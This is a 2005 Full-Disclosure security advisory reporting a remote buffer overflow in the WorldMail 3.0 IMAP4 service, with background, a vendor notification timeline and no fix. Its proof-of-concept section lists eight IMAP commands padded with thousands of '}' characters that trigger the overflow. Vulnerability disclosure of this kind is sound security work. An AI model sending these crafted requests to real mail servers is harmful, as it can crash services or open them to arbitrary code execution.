[Full-disclosure] [ACSSEC-2005-11-27-0x1] Eudora Qualcomm WorldMail 3.0 IMAP4 Servi ce 6.1.19.0

[Security Advisories <Security-Advisories@xxxxxxxxxxx>]

-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
ACS Security Assessment Advisory - Buffer Overflow

ID:       ACSSEC-2005-11-27 - 0x1

Class:    Buffer Overflow
Package:  Eudora Qualcomm WorldMail 3.0 IMAP4 Service 6.1.19.0
Build:    Windows NT/2k/XP/2k3
Notified: Dec 01, 2005
Released: Dec 21, 2005

Remote:   Yes
Severity: Medium

Credit:   Tim Shelton           <security-advisories@xxxxxxxxxxx>
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-

-=[ Background

WorldMail 3 email and messaging server for small to large 
enterprises combines the features needed for today's cluttered 
email environment. WorldMail 3 combines the latest security 
tools required to stop abuse, spam, viruses and 
Directory Harvest Attacks (DHA). Other features include; a 
web-based email client, multi-level administration privileges 
and tools for migrating from WorldMail 2, OpenWave Post.Office, 
Ipswitch iMail and others.


-=[ Technical Description

Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 (and possibly others)
is vulnerable to a buffer overflow via a specially crafted IMAP requests. 
A remote attacker could issue the vulnerable command followed by malicious
code to execute arbitrary code or lead to a denial of service.


-=[ Proof of Concepts

IMAP REQUEST: '02 LIST ""' + '}'x 5000
IMAP REQUEST: '03 LSUB ""' + '}'x 32762
IMAP REQUEST: '04 SEARCH TEXT ' + '}'x32762
IMAP REQUEST: '05 STATUS INBOX ' + '}'x32764
IMAP REQUEST: '02 AUTHENTICATE ' + '}'x32768
IMAP REQUEST: '02 FETCH 2:4 ' + '}'x10000
IMAP REQUEST: '02 SELECT ' + '}'x10000
IMAP REQUEST: '02 COPY 2:4 ' + '}'x32765

-=[ Solution
No remedy available as of December 2005.

-=[ Credits

Vulnerability originally reported by Tim Shelton


-=[ Similar References

http://www.idefense.com/application/poi/display?id=341&type=vulnerabilities

-=[ ChangeLog

2005-11-27 : Original Advisory
2005-12-01 : Vendor Notified
2005-12-20 : No response from vendor, disclosing full information.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/